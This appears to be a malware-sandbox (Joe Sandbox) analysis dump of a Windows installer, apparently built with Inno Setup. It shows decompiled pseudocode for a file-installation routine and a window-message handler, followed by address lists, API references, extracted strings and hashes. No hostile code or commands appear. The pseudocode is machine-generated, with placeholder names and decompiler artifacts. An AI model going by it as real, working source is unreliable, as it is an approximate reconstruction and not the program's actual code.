																	E004534DC(_v9, _t821,  &_v132, _v16, _t943);
																	_t927 =  *0x48dc50; // 0x2178bfc
																	E004035DC( &_v32, _t927);
																} else {
																	_t222 = _v36 + 0x24; // 0x24
																	_t943 = _t222;
																	memcpy( &_v132, _t943, 4 << 2);
																	_t947 = _t947 + 0xc;
																	_t940 = _t943 + 8;
																	_t823 = 0;
																}
																_t767 = E00430BD8( &_v148,  &_v132);
																__eflags = _t767;
																if(_t767 == 0) {
																	E00455B64("Existing file\'s MD5 sum is different from our file. Proceeding.", _t821, _t940, _t943);
																	goto L74;
																} else {
																	E00455B64("Existing file\'s MD5 sum matches our file. Skipping.", _t821, _t940, _t943);
																	goto L121;
																}
															}
														}
													}
												}
											}
										} else {
											__eflags = _v80 - _v72;
											if(_v80 <= _v72) {
												goto L56;
											} else {
												goto L53;
											}
										}
									}
								}
							}
						}
					} else {
						E00455B64("Skipping due to \"onlyifdoesntexist\" flag.", _t821, _t940, _t943);
						L121:
						if(( *(_v8 + 0x4a) & 0x00000010) != 0) {
							L123:
							if(E004518BC(_v9, _v44, _t975) != 0) {
								E00403548( &_v32);
								_t631 = _v8;
								_t977 =  *(_t631 + 0x4a) & 0x00000020;
								if(( *(_t631 + 0x4a) & 0x00000020) == 0) {
									E00455B64("Will register the file (a DLL/OCX) later.", _t821, _t940, _t943);
								} else {
									E00455B64("Will register the file (a type library) later.", _t821, _t940, _t943);
								}
								_t821 = E00403CC8(_t977);
								E00403598(_t821, _t821, _v44, _t940, _t943);
								 *((char*)(_t821 + 4)) = _v9;
								 *((char*)(_t821 + 5)) = _v8 & 0xffffff00 | ( *(_v8 + 0x4a) & 0x00000020) != 0x00000000;
								 *((char*)(_t821 + 6)) = _v8 & 0xffffff00 | ( *(_v8 + 0x4b) & 0x00000040) != 0x00000000;
								E0040B468( *((intOrPtr*)(_a16 - 0x10)), _t821);
							}
						} else {
							_t648 = _v8;
							_t975 =  *(_t648 + 0x4a) & 0x00000020;
							if(( *(_t648 + 0x4a) & 0x00000020) != 0) {
								goto L123;
							}
						}
						if(( *(_v8 + 0x4a) & 0x00000040) != 0) {
							E00403548( &_v32);
							_t982 = _v9;
							if(_v9 == 0) {
								E00455B64("Incrementing shared file count (32-bit).", _t821, _t940, _t943);
								E00452DC4(_t821, _v54, _v44, _t940, _t943, __eflags);
							} else {
								E00455B64("Incrementing shared file count (64-bit).", _t821, _t940, _t943);
								E00452DC4(_t821, _v54, _v44, _t940, _t943, _t982);
							}
							if(( *(_v8 + 0x4a) & 0x00000002) != 0) {
								__eflags = _v9;
								if(_v9 == 0) {
									_v216 = _v44;
									E00457278( *((intOrPtr*)(_a16 - 4)), _t821,  &_v216, 0x8a, _t940, _t943, 0, 0);
								} else {
									_v216 = _v44;
									E00457278( *((intOrPtr*)(_a16 - 4)), _t821,  &_v216, 0x8a, _t940, _t943, 1, 0);
								}
							} else {
								_v92 = _v92 | 0x00000008;
								if(_v9 != 0) {
									_v92 = _v92 | 0x00000400;
								}
								if(( *(_v8 + 0x4d) & 0x00000001) != 0) {
									_v92 = _v92 | 0x00000200;
								}
								_v212 = _v44;
								_v208 = _v48;
								_v204 =  *((intOrPtr*)(_v8 + 8));
								_v200 = _v52;
								E00457278( *((intOrPtr*)(_a16 - 4)), _t821,  &_v212, 0x82, _t940, _t943, _v92, 3);
							}
						}
						E00403548( &_v32);
						if(_v48 == 0) {
							E00468B54(_v9,  *((short*)(_v8 + 0x48)), _v44, _t940);
						} else {
							E00468B54(_v9,  *((short*)(_v8 + 0x48)), _v48, _t940);
						}
						_pop(_t889);
						 *[fs:eax] = _t889;
						_pop(_t890);
						 *[fs:eax] = _t890;
						_push(0x469b96);
						_t989 = _v56;
						if(_v56 != 0) {
							return E00451424(_v9, _v48, _t989);
						}
						return 0;
					}
				}
				L148:
			}

0x00468c28
0x00468c28
0x00468c28
0x00468c29
0x00468c2b
0x00468c31
0x00468c32
0x00468c33
0x00468c36
0x00468c3c
0x00468c42
0x00468c45
0x00468c48
0x00468c4b
0x00468c4e
0x00468c51
0x00468c54
0x00468c57
0x00468c5a
0x00468c60
0x00468c68
0x00468c6f
0x00468c70
0x00468c75
0x00468c78
0x00468c80
0x00468c85
0x00468c89
0x00468c90
0x00468c96
0x00468ca9
0x00468cab
0x00468c98
0x00468c9a
0x00468ca4
0x00468ca4
0x00468cb1
0x00468cb6
0x00468cba
0x00468cc4
0x00468ccd
0x00468cd3
0x00468cdb
0x00468ce2
0x00468ce3
0x00468ce8
0x00468ceb
0x00468cf0
0x00468cf1
0x00468cf6
0x00468cf9
0x00468cfc
0x00468d02
0x00468d09
0x00468d0b
0x00468d0b
0x00468d19
0x00468d1b
0x00468d1b
0x00468d26
0x00468d28
0x00468d28
0x00468d33
0x00468d35
0x00468d35
0x00468d43
0x00468d45
0x00468d45
0x00468d4f
0x00468d54
0x00468d5a
0x00468d5c
0x00468d6e
0x00468d72
0x00468d8a
0x00468d74
0x00468d7d
0x00468d7d
0x00468d5e
0x00468d61
0x00468d67
0x00468d67
0x00468d98
0x00468da6
0x00468db0
0x00468db8
0x00468dbe
0x00468dcb
0x00468dd2
0x00468dd7
0x00468de2
0x00468df6
0x00468dfd
0x00468e04
0x00468e10
0x00468e10
0x00468e10
0x00468e10
0x00468dfd
0x00468e1a
0x00468e1f
0x00468e26
0x00468e2b
0x00468e2e
0x00468e2e
0x00468e36
0x00468e38
0x00468e38
0x00468e40
0x00468e70
0x00468e7e
0x00468e42
0x00468e49
0x00468e63
0x00468e63
0x00468e67
0x00468e4b
0x00468e4b
0x00468e51
0x00468e57
0x00468e57
0x00468e6c
0x00468e6c
0x00468e82
0x00468ebe
0x00468e84
0x00468e8d
0x00468e98
0x00468e9e
0x00468eab
0x00468eb2
0x00468eb2
0x00468ec7
0x004693f4
0x004693f7
0x004693fb
0x00000000
0x004693fd
0x004693fd
0x00469401
0x00000000
0x00469403
0x00469408
0x00000000
0x00469408
0x00469401
0x00468ecd
0x00468ed2
0x00468ede
0x00468ef2
0x00468ef8
0x00468efd
0x00468f0b
0x00468f0e
0x00468f12
0x00468f4e
0x00468f14
0x00468f1d
0x00468f28
0x00468f2e
0x00468f3b
0x00468f42
0x00468f42
0x00468f53
0x00468f56
0x00468f5a
0x00469219
0x00000000
0x00468f60
0x00468f60
0x00468f64
0x00468f68
0x00468f94
0x00468faa
0x00468f6a
0x00468f6a
0x00468f6d
0x00468f74
0x00468f7d
0x00468f86
0x00468f86
0x00468fad
0x00468fb1
0x00469013
0x00468fb3
0x00468fb7
0x00468fbd
0x00468fc8
0x00468fce
0x00468fd9
0x00468fdf
0x00468fea
0x00468ff0
0x00469007
0x00469007
0x00469021
0x0046902c
0x00469032
0x00469037
0x00469039
0x00469208
0x0046920d
0x00469211
0x00469213
0x00469213
0x00000000
0x0046903f
0x00469043
0x00469049
0x00469054
0x0046905a
0x00469065
0x0046906b
0x00469076
0x0046907c
0x00469089
0x00469093
0x00469098
0x0046909c
0x004690b6
0x004690b6
0x004690c2
0x004690c5
0x00469114
0x00469119
0x00000000
0x004690c7
0x004690d6
0x004690e6
0x004690f1
0x004690f7
0x00469102
0x00469106
0x0046910b
0x0046910e
0x00000000
0x00000000
0x00000000
0x00000000
0x0046910e
0x0046909e
0x004690a1
0x004690a4
0x00000000
0x004690a6
0x004690a9
0x004690ac
0x00469123
0x00469126
0x00469129
0x0046921d
0x0046921d
0x00469221
0x004692e7
0x004692ea
0x004692ef
0x004692f3
0x00469307
0x0046930b
0x00000000
0x0046930d
0x0046931c
0x0046932c
0x00469337
0x0046933d
0x00469348
0x00469351
0x00469354
0x00469365
0x00469365
0x00469370
0x00469372
0x00469375
0x00000000
0x00000000
0x0046937b
0x0046937e
0x00000000
0x00469384
0x00469387
0x0046938b
0x004693ae
0x004693b1
0x004693b7
0x004693be
0x004693c7
0x004693cc
0x004693ce
0x004693e1
0x004693d0
0x004693d5
0x004693d5
0x004693e9
0x004693ed
0x00000000
0x004693ef
0x00000000
0x004693ef
0x0046938d
0x0046938d
0x00469396
0x0046939b
0x0046939d
0x00000000
0x0046939f
0x004693a4
0x00000000
0x004693a4
0x0046939d
0x0046938b
0x00000000
0x0046937e
0x00469412
0x00469417
0x00469422
0x0046942a
0x00469430
0x00469496
0x00469432
0x00469432
0x00469436
0x00469438
0x00469447
0x00469449
0x0046944c
0x00469453
0x00469455
0x00469464
0x00469466
0x00469472
0x00469477
0x00469479
0x0046947b
0x00469487
0x00469489
0x00469489
0x00469479
0x00469453
0x0046948c
0x00469490
0x00469490
0x0046949d
0x004694a3
0x004694b5
0x004694c8
0x004694da
0x004694e5
0x004694ee
0x00469508
0x0046950d
0x00469512
0x00469513
0x00469518
0x0046951b
0x0046951e
0x00469524
0x00469525
0x0046952a
0x0046952d
0x00469530
0x00469537
0x0046953d
0x00469542
0x00469546
0x004695a0
0x004695a5
0x004695aa
0x004695ab
0x004695b0
0x004695b3
0x004695b9
0x004695bf
0x004695c4
0x004695c8
0x004695e6
0x004695ca
0x004695cd
0x004695d6
0x004695d6
0x004695eb
0x004695ed
0x004695f0
0x004695f3
0x00469600
0x00469548
0x00469555
0x0046955d
0x00469563
0x00469570
0x00469585
0x0046960a
0x0046960c
0x0046960d
0x0046963c
0x00469641
0x00469644
0x00469648
0x0046964a
0x00469656
0x0046965b
0x00469662
0x00469667
0x00469667
0x00469662
0x0046966c
0x0046966e
0x00469671
0x00469674
0x00469681
0x00469681
0x00469356
0x0046935b
0x00000000
0x0046935b
0x00469354
0x004692f5
0x004692fa
0x00000000
0x004692fa
0x00469227
0x00469227
0x0046922a
0x0046922e
0x00000000
0x00469234
0x00469234
0x00469236
0x0046923e
0x00469243
0x00000000
0x00469238
0x00469238
0x0046923c
0x00469255
0x0046925a
0x0046925c
0x00469275
0x0046927a
0x0046927c
0x00000000
0x0046927e
0x0046927e
0x0046928a
0x0046928d
0x004692d8
0x004692dd
0x00000000
0x0046928f
0x0046929e
0x004692ae
0x004692b9
0x004692bf
0x004692ca
0x004692ce
0x004692d3
0x004692d6
0x00000000
0x00000000
0x00000000
0x00000000
0x004692d6
0x0046928d
0x0046925e
0x00469263
0x00000000
0x00469263
0x00000000
0x00000000
0x00000000
0x0046923c
0x00469236
0x0046922e
0x0046912f
0x00469132
0x00469135
0x00000000
0x0046913b
0x0046913b
0x0046913e
0x00469142
0x00000000
0x00469148
0x00469148
0x0046914b
0x0046914f
0x004691e5
0x004691e8
0x004691ec
0x004691fd
0x00000000
0x004691ee
0x004691f3
0x00000000
0x004691f3
0x00469155
0x00469155
0x00469161
0x00469166
0x00469168
0x004691de
0x00000000
0x0046916a
0x0046916a
0x0046916e
0x00469185
0x0046918b
0x00469190
0x00469199
0x004691a1
0x004691a7
0x00469170
0x00469173
0x00469173
0x0046917e
0x0046917e
0x0046917e
0x0046917e
0x0046917e
0x004691b5
0x004691ba
0x004691bc
0x004691d2
0x00000000
0x004691be
0x004691c3
0x00000000
0x004691c3
0x004691bc
0x00469168
0x0046914f
0x00469142
0x00469135
0x004690ae
0x004690b1
0x004690b4
0x00000000
0x00000000
0x00000000
0x00000000
0x004690b4
0x004690ac
0x004690a4
0x0046909c
0x00469039
0x00468ee0
0x00468ee5
0x00469973
0x0046997a
0x00469985
0x00469992
0x00469997
0x0046999c
0x0046999f
0x004699a3
0x004699b6
0x004699a5
0x004699aa
0x004699aa
0x004699ca
0x004699d1
0x004699d9
0x004699e6
0x004699f3
0x004699fe
0x004699fe
0x0046997c
0x0046997c
0x0046997f
0x00469983
0x00000000
0x00000000
0x00469983
0x00469a0a
0x00469a13
0x00469a18
0x00469a1c
0x00469a3c
0x00469a49
0x00469a1e
0x00469a23
0x00469a30
0x00469a30
0x00469a55
0x00469abc
0x00469ac0
0x00469aed
0x00469b03
0x00469ac2
0x00469ac9
0x00469adf
0x00469adf
0x00469a57
0x00469a57
0x00469a5f
0x00469a61
0x00469a61
0x00469a6f
0x00469a71
0x00469a71
0x00469a81
0x00469a8a
0x00469a96
0x00469a9f
0x00469ab5
0x00469ab5
0x00469a55
0x00469b0b
0x00469b14
0x00469b37
0x00469b16
0x00469b23
0x00469b23
0x00469b3e
0x00469b41
0x00469b72
0x00469b75
0x00469b78
0x00469b7d
0x00469b81
0x00000000
0x00469b89
0x00469b8e
0x00469b8e
0x00468ede
0x00000000

APIs

Part of subcall function 00455B64: GetLocalTime.KERNEL32(?,00000000,00455CEB,?,?,0048DF10,00000000), ref: 00455B94

LocalFileTimeToFileTime.KERNEL32(-00000034,00000004,00000000,00469B46,?,00000000,00469B8F,?,00000000,00469CC8,?,00000000,?,00000000,?,0046A60E), ref: 00468E67

Part of subcall function 00453494: FindClose.KERNEL32(00000000,000000FF,00468E7E,00000000,00469B46,?,00000000,00469B8F,?,00000000,00469CC8,?,00000000,?,00000000), ref: 004534AA

Part of subcall function 00467170: FileTimeToLocalFileTime.KERNEL32(00000001), ref: 00467178
Part of subcall function 00467170: FileTimeToSystemTime.KERNEL32(?,?,00000001), ref: 00467187

Part of subcall function 0042C81C: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C840

Part of subcall function 00452DC4: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,00000000,00452F9B,?,00000000,0045305F), ref: 00452EEB

Strings

Version of existing file: %u.%u.%u.%u, xrefs: 0046908E
Couldn't read time stamp. Skipping., xrefs: 0046923E
Will register the file (a type library) later., xrefs: 004699A5
Dest file is protected by Windows File Protection., xrefs: 00468DFF
Existing file is protected by Windows File Protection. Skipping., xrefs: 004692F5
User opted not to overwrite the existing file. Skipping., xrefs: 00469356
Skipping due to "onlyifdestfileexists" flag., xrefs: 00469403
Existing file's MD5 sum is different from our file. Proceeding., xrefs: 004691CD
Incrementing shared file count (64-bit)., xrefs: 00469A1E
Same version. Skipping., xrefs: 004691EE
Time stamp of existing file: (failed to read), xrefs: 00468F49
InUn, xrefs: 0046964E
Failed to strip read-only attribute., xrefs: 004693DC
Existing file's MD5 sum matches our file. Skipping., xrefs: 004691BE
Failed to read existing file's MD5 sum. Proceeding., xrefs: 004691D9
Version of our file: (none), xrefs: 0046900E
Version of existing file: (none), xrefs: 00469203
, xrefs: 004690E1, 004692A9, 00469327
Time stamp of our file: %s, xrefs: 00468EAD
Time stamp of our file: (failed to read), xrefs: 00468EB9
.tmp, xrefs: 004694C0
Incrementing shared file count (32-bit)., xrefs: 00469A37
Stripped read-only attribute., xrefs: 004693D0
Dest file exists., xrefs: 00468ECD
Dest filename: %s, xrefs: 00468DCD
-- File entry --, xrefs: 00468C7B
Time stamp of existing file: %s, xrefs: 00468F3D
User opted not to strip the existing file's read-only attribute. Skipping., xrefs: 0046939F
Skipping due to "onlyifdoesntexist" flag., xrefs: 00468EE0
Existing file has a later time stamp. Skipping., xrefs: 004692D8
Will register the file (a DLL/OCX) later., xrefs: 004699B1
Version of our file: %u.%u.%u.%u, xrefs: 00469002
Installing the file., xrefs: 00469412
@, xrefs: 00468D28
Same time stamp. Skipping., xrefs: 0046925E
Existing file is a newer version. Skipping., xrefs: 00469114

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Time$File$Local$CloseFindFullNamePathQuerySystemValue
String ID: $-- File entry --$.tmp$@$Couldn't read time stamp. Skipping.$Dest file exists.$Dest file is protected by Windows File Protection.$Dest filename: %s$Existing file has a later time stamp. Skipping.$Existing file is a newer version. Skipping.$Existing file is protected by Windows File Protection. Skipping.$Existing file's MD5 sum is different from our file. Proceeding.$Existing file's MD5 sum matches our file. Skipping.$Failed to read existing file's MD5 sum. Proceeding.$Failed to strip read-only attribute.$InUn$Incrementing shared file count (32-bit).$Incrementing shared file count (64-bit).$Installing the file.$Same time stamp. Skipping.$Same version. Skipping.$Skipping due to "onlyifdestfileexists" flag.$Skipping due to "onlyifdoesntexist" flag.$Stripped read-only attribute.$Time stamp of existing file: %s$Time stamp of existing file: (failed to read)$Time stamp of our file: %s$Time stamp of our file: (failed to read)$User opted not to overwrite the existing file. Skipping.$User opted not to strip the existing file's read-only attribute. Skipping.$Version of existing file: %u.%u.%u.%u$Version of existing file: (none)$Version of our file: %u.%u.%u.%u$Version of our file: (none)$Will register the file (a DLL/OCX) later.$Will register the file (a type library) later.
API String ID: 2131814033-2710193735
Opcode ID: 6e3a96cfeceefe7b27e12024ddd28e240c815b03a9fa938ebaff2c66f8be18b2
Instruction ID: 26ed265d38906795b16b4e49dacc61d4c42806bb9d11969e3a6df92dda3e5e8a
Opcode Fuzzy Hash: 6e3a96cfeceefe7b27e12024ddd28e240c815b03a9fa938ebaff2c66f8be18b2
Instruction Fuzzy Hash: CF826230E042489FDF11DFA5C985BDDBBB5AF05304F1440ABE844AB392E7B99E45CB1A

Uniqueness

Uniqueness Score: -1.00%

Function 00423CD4 Relevance: 21.4, APIs: 14, Instructions: 395
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E00423CD4(intOrPtr __eax, intOrPtr* __edx) {
				intOrPtr _v8;
				intOrPtr* _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t129;
				struct HWND__* _t130;
				struct HWND__* _t133;
				void* _t134;
				struct HWND__* _t135;
				struct HWND__* _t137;
				struct HWND__* _t139;
				struct HWND__* _t142;
				intOrPtr _t143;
				intOrPtr _t153;
				struct HWND__* _t160;
				struct HWND__* _t162;
				int _t165;
				int _t168;
				struct HWND__* _t169;
				struct HWND__* _t180;
				struct HWND__* _t186;
				intOrPtr _t187;
				struct HWND__* _t190;
				intOrPtr _t191;
				int _t198;
				struct HWND__* _t202;
				struct HWND__* _t207;
				struct HWND__* _t214;
				struct HWND__* _t216;
				intOrPtr _t217;
				struct HWND__* _t219;
				intOrPtr _t225;
				struct HWND__* _t241;
				struct HWND__* _t246;
				intOrPtr _t247;
				intOrPtr _t249;
				intOrPtr _t257;
				struct HWND__* _t262;
				int _t265;
				intOrPtr _t269;
				intOrPtr* _t274;
				void* _t279;
				intOrPtr _t281;
				struct HWND__* _t285;
				struct HWND__* _t286;
				void* _t300;
				void* _t303;
				intOrPtr _t313;
				intOrPtr _t314;
				intOrPtr _t330;
				void* _t331;
				void* _t333;
				void* _t338;
				void* _t339;
				intOrPtr _t340;

				_push(_t333);
				_push(_t331);
				_v12 = __edx;
				_v8 = __eax;
				_push(_t339);
				_push(0x424224);
				_push( *[fs:edx]);
				 *[fs:edx] = _t340;
				 *(_v12 + 0xc) = 0;
				_t279 =  *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x80)) + 8)) - 1;
				if(_t279 < 0) {
					L5:
					E00423C30(_v8, _v12);
					_t281 =  *_v12;
					_t129 = _t281;
					__eflags = _t129 - 0x112;
					if(__eflags > 0) {
						__eflags = _t129 - 0xb017;
						if(__eflags > 0) {
							_t130 = _t129 - 0xb01a;
							__eflags = _t130;
							if(_t130 == 0) {
								_t133 = IsIconic( *(_v8 + 0x20));
								__eflags = _t133;
								if(_t133 == 0) {
									_t135 = GetFocus();
									_t314 = _v8;
									__eflags = _t135 -  *((intOrPtr*)(_t314 + 0x20));
									if(_t135 ==  *((intOrPtr*)(_t314 + 0x20))) {
										_t137 = E0041F0BC(0);
										__eflags = _t137;
										if(_t137 != 0) {
											SetFocus(_t137);
										}
									}
								}
								L87:
								_t134 = 0;
								_pop(_t313);
								 *[fs:eax] = _t313;
								goto L88;
							}
							_t139 = _t130 - 5;
							__eflags = _t139;
							if(_t139 == 0) {
								E00424918(_v8,  *(_v12 + 8),  *(_v12 + 4));
								goto L87;
							}
							_t142 = _t139 - 1;
							__eflags = _t142;
							if(_t142 == 0) {
								_t143 = _v12;
								__eflags =  *(_t143 + 4);
								if( *(_t143 + 4) != 0) {
									E004245F4(_v8,  *( *(_v12 + 8)),  *((intOrPtr*)( *(_v12 + 8) + 4)));
								} else {
									E0042459C(_v8, _t331, _t333,  *( *(_v12 + 8)),  *((intOrPtr*)( *(_v12 + 8) + 4)));
								}
								goto L87;
							}
							__eflags = _t142 == 0x11;
							if(_t142 == 0x11) {
								_t153 = _v12;
								__eflags =  *((intOrPtr*)(_t153 + 4)) - 1;
								if( *((intOrPtr*)(_t153 + 4)) != 1) {
									 *(_v8 + 0x88) =  *(_v12 + 8);
								} else {
									 *(_v12 + 0xc) =  *(_v8 + 0x88);
								}
							} else {
								L86:
								E00423C4C(_t339); // executed
							}
							goto L87;
						}
						if(__eflags == 0) {
							_t160 =  *(_v8 + 0x28);
							__eflags = _t160;
							if(_t160 != 0) {
								_t335 = _t160;
								_t162 = E004182A8(_t160);
								__eflags = _t162;
								if(_t162 != 0) {
									_t165 = IsWindowEnabled(E004182A8(_t335));
									__eflags = _t165;
									if(_t165 != 0) {
										_t168 = IsWindowVisible(E004182A8(_t335));
										__eflags = _t168;
										if(_t168 != 0) {
											 *0x48c57c = 0;
											_t169 = GetFocus();
											SetFocus(E004182A8(_t335));
											E00415308(_t335,  *(_v12 + 4), 0x112,  *(_v12 + 8));
											SetFocus(_t169);
											 *0x48c57c = 1;
											 *(_v12 + 0xc) = 1;
										}
									}
								}
							}
							goto L87;
						}
						_t180 = _t129 + 0xfffffece - 7;
						__eflags = _t180;
						if(_t180 < 0) {
							 *(_v12 + 0xc) = SendMessageA( *(_v12 + 8), _t281 + 0xbc00,  *(_v12 + 4),  *(_v12 + 8));
							goto L87;
						}
						_t186 = _t180 - 0xaec7;
						__eflags = _t186;
						if(_t186 == 0) {
							_t187 = _v8;
							__eflags =  *((short*)(_t187 + 0xbe));
							if( *((short*)(_t187 + 0xbe)) != 0) {
								 *((intOrPtr*)(_v8 + 0xbc))();
							}
							goto L87;
						}
						_t190 = _t186 - 1;
						__eflags = _t190;
						if(_t190 == 0) {
							_t191 = _v8;
							__eflags =  *((short*)(_t191 + 0xb6));
							if( *((short*)(_t191 + 0xb6)) != 0) {
								 *((intOrPtr*)(_v8 + 0xb4))();
							}
							goto L87;
						}
						__eflags = _t190 == 0x15;
						if(_t190 == 0x15) {
							_t285 =  *(_v8 + 0x28);
							__eflags = _t285;
							if(_t285 != 0) {
								__eflags =  *(_t285 + 0x124);
								if( *(_t285 + 0x124) != 0) {
									_t198 = IsWindowEnabled(E004182A8(_t285));
									__eflags = _t198;
									if(_t198 != 0) {
										_t202 = E004123D8( *((intOrPtr*)( *(_v8 + 0x28) + 0x124)), _v12);
										__eflags = _t202;
										if(_t202 != 0) {
											 *(_v12 + 0xc) = 1;
										}
									}
								}
							}
							goto L87;
						} else {
							goto L86;
						}
					}
					if(__eflags == 0) {
						_t207 = ( *(_v12 + 4) & 0x0000fff0) - 0xf020;
						__eflags = _t207;
						if(_t207 == 0) {
							E0042425C(_v8, _t287);
						} else {
							__eflags = _t207 == 0x100;
							if(_t207 == 0x100) {
								E004242A4(_v8);
							} else {
								E00423C4C(_t339);
							}
						}
						goto L87;
					}
					__eflags = _t129 - 0x14;
					if(__eflags > 0) {
						_t214 = _t129 - 0x15;
						__eflags = _t214;
						if(_t214 == 0) {
							__eflags =  *0x48c594 - 0x20;
							if( *0x48c594 >= 0x20) {
								__eflags =  *0x48d648;
								if( *0x48d648 != 0) {
									 *0x48d648();
								}
							}
							goto L87;
						}
						_t216 = _t214 - 1;
						__eflags = _t216;
						if(_t216 == 0) {
							_t217 = _v12;
							__eflags =  *(_t217 + 4);
							if( *(_t217 + 4) != 0) {
								E00404FA4();
							}
							goto L87;
						}
						_t219 = _t216 - 6;
						__eflags = _t219;
						if(_t219 == 0) {
							E00423C4C(_t339);
							_pop(_t300);
							asm("sbb eax, eax");
							 *((char*)(_v8 + 0x7d)) =  ~( ~( *(_v12 + 4)));
							_t225 = _v12;
							__eflags =  *(_t225 + 4);
							if( *(_t225 + 4) == 0) {
								E00423B4C(_v8, _t300);
								PostMessageA( *(_v8 + 0x20), 0xb001, 0, 0); // executed
							} else {
								E00423BDC(_v8);
								PostMessageA( *(_v8 + 0x20), 0xb000, 0, 0);
							}
							goto L87;
						}
						__eflags = _t219 == 0x1b;
						if(_t219 == 0x1b) {
							 *(_v12 + 0xc) = E00424240(_v8);
							goto L87;
						} else {
							goto L86;
						}
					}
					if(__eflags == 0) {
						 *_v12 = 0x27;
						E00423C4C(_t339);
						goto L87;
					}
					_t241 = _t129 - 7;
					__eflags = _t241;
					if(_t241 == 0) {
						PostMessageA( *(_v8 + 0x20), 0xb01a, 0, 0);
						E00423C4C(_t339);
						goto L87;
					}
					_t246 = _t241 - 3;
					__eflags = _t246;
					if(_t246 == 0) {
						_t247 = _v12;
						__eflags =  *(_t247 + 4);
						if( *(_t247 + 4) == 0) {
							E00423C4C(_t339);
							_pop(_t303);
							_t249 = _v8;
							__eflags =  *(_t249 + 0x84);
							if( *(_t249 + 0x84) == 0) {
								 *((intOrPtr*)(_v8 + 0x84)) = E0041EF6C( *(_v8 + 0x20), _t281, _t331, _t333);
							}
							E00423B4C(_v8, _t303);
						} else {
							E00423BDC(_v8);
							_t257 = _v8;
							_t258 =  *(_t257 + 0x84);
							__eflags =  *(_t257 + 0x84);
							if( *(_t257 + 0x84) != 0) {
								E0041F020(_t258);
								__eflags = 0;
								 *((intOrPtr*)(_v8 + 0x84)) = 0;
							}
							E00423C4C(_t339);
						}
						goto L87;
					}
					_t262 = _t246 - 5;
					__eflags = _t262;
					if(_t262 == 0) {
						_t265 = IsIconic( *(_v8 + 0x20));
						__eflags = _t265;
						if(_t265 == 0) {
							E00423C4C(_t339);
						} else {
							E00423C88(_t339);
						}
						goto L87;
					}
					__eflags = _t262 == 1;
					if(_t262 == 1) {
						_t269 = _v8;
						_t270 =  *(_t269 + 0x28);
						__eflags =  *(_t269 + 0x28);
						if( *(_t269 + 0x28) != 0) {
							E00422D14(_t270, _t287);
						}
						goto L87;
					} else {
						goto L86;
					}
				} else {
					_t286 = _t279 + 1;
					_t338 = 0;
					while(1) {
						_t274 = E0040B504( *((intOrPtr*)(_v8 + 0x80)), _t338);
						_t287 = _t274;
						if( *_t274() != 0) {
							_t134 = 0;
							_pop(_t330);
							 *[fs:eax] = _t330;
							break;
						}
						_t338 = _t338 + 1;
						_t286 = _t286 - 1;
						__eflags = _t286;
						if(_t286 != 0) {
							continue;
						}
						goto L5;
					}
					L88:
					return _t134;
				}
			}

0x00423cdb
0x00423cdc
0x00423cdd
0x00423ce0
0x00423ce5
0x00423ce6
0x00423ceb
0x00423cee
0x00423cf6
0x00423d05
0x00423d08
0x00423d3c
0x00423d42
0x00423d4a
0x00423d4c
0x00423d4e
0x00423d53
0x00423db4
0x00423db9
0x00423def
0x00423def
0x00423df4
0x00424169
0x0042416e
0x00424170
0x00424176
0x0042417b
0x0042417e
0x00424181
0x00424189
0x0042418e
0x00424190
0x00424197
0x00424197
0x00424190
0x00424181
0x0042421a
0x0042421a
0x0042421c
0x0042421f
0x00000000
0x0042421f
0x00423dfa
0x00423dfa
0x00423dfd
0x004241ae
0x00000000
0x004241ae
0x00423e03
0x00423e03
0x00423e04
0x004241b5
0x004241b8
0x004241bc
0x004241e1
0x004241be
0x004241cc
0x004241cc
0x00000000
0x004241bc
0x00423e0a
0x00423e0d
0x004241e8
0x004241eb
0x004241ef
0x0042420b
0x004241f1
0x004241fd
0x004241fd
0x00423e13
0x00424213
0x00424214
0x00424219
0x00000000
0x00423e0d
0x00423dbb
0x0042407c
0x0042407f
0x00424081
0x00424087
0x0042408b
0x00424090
0x00424092
0x004240a0
0x004240a5
0x004240a7
0x004240b5
0x004240ba
0x004240bc
0x004240c2
0x004240c9
0x004240d8
0x004240f1
0x004240f7
0x004240fc
0x00424106
0x00424106
0x004240bc
0x004240a7
0x00424092
0x00000000
0x00424081
0x00423dc6
0x00423dc6
0x00423dc9
0x00423fff
0x00000000
0x00423fff
0x00423dcf
0x00423dcf
0x00423dd4
0x00424112
0x00424115
0x0042411d
0x0042412f
0x0042412f
0x00000000
0x0042411d
0x00423dda
0x00423dda
0x00423ddb
0x0042413a
0x0042413d
0x00424145
0x00424157
0x00424157
0x00000000
0x00424145
0x00423de1
0x00423de4
0x00424021
0x00424024
0x00424026
0x0042402c
0x00424033
0x00424041
0x00424046
0x00424048
0x0042405d
0x00424062
0x00424064
0x0042406d
0x0042406d
0x00424064
0x00424048
0x00424033
0x00000000
0x00423dea
0x00000000
0x00423dea
0x00423de4
0x00423d55
0x00423e23
0x00423e23
0x00423e28
0x00423e36
0x00423e2a
0x00423e2a
0x00423e2f
0x00423e43
0x00423e31
0x00423e4e
0x00423e53
0x00423e2f
0x00000000
0x00423e28
0x00423d5b
0x00423d5e
0x00423d8d
0x00423d8d
0x00423d90
0x00423e71
0x00423e78
0x00423e7e
0x00423e85
0x00423e8b
0x00423e8b
0x00423e85
0x00000000
0x00423e78
0x00423d96
0x00423d96
0x00423d97
0x00424007
0x0042400a
0x0042400e
0x00424014
0x00424014
0x00000000
0x0042400e
0x00423d9d
0x00423d9d
0x00423da0
0x00423f08
0x00423f0d
0x00423f16
0x00423f1d
0x00423f20
0x00423f23
0x00423f27
0x00423f4e
0x00423f63
0x00423f29
0x00423f2c
0x00423f41
0x00423f41
0x00000000
0x00423f27
0x00423da6
0x00423da9
0x00423ede
0x00000000
0x00423daf
0x00000000
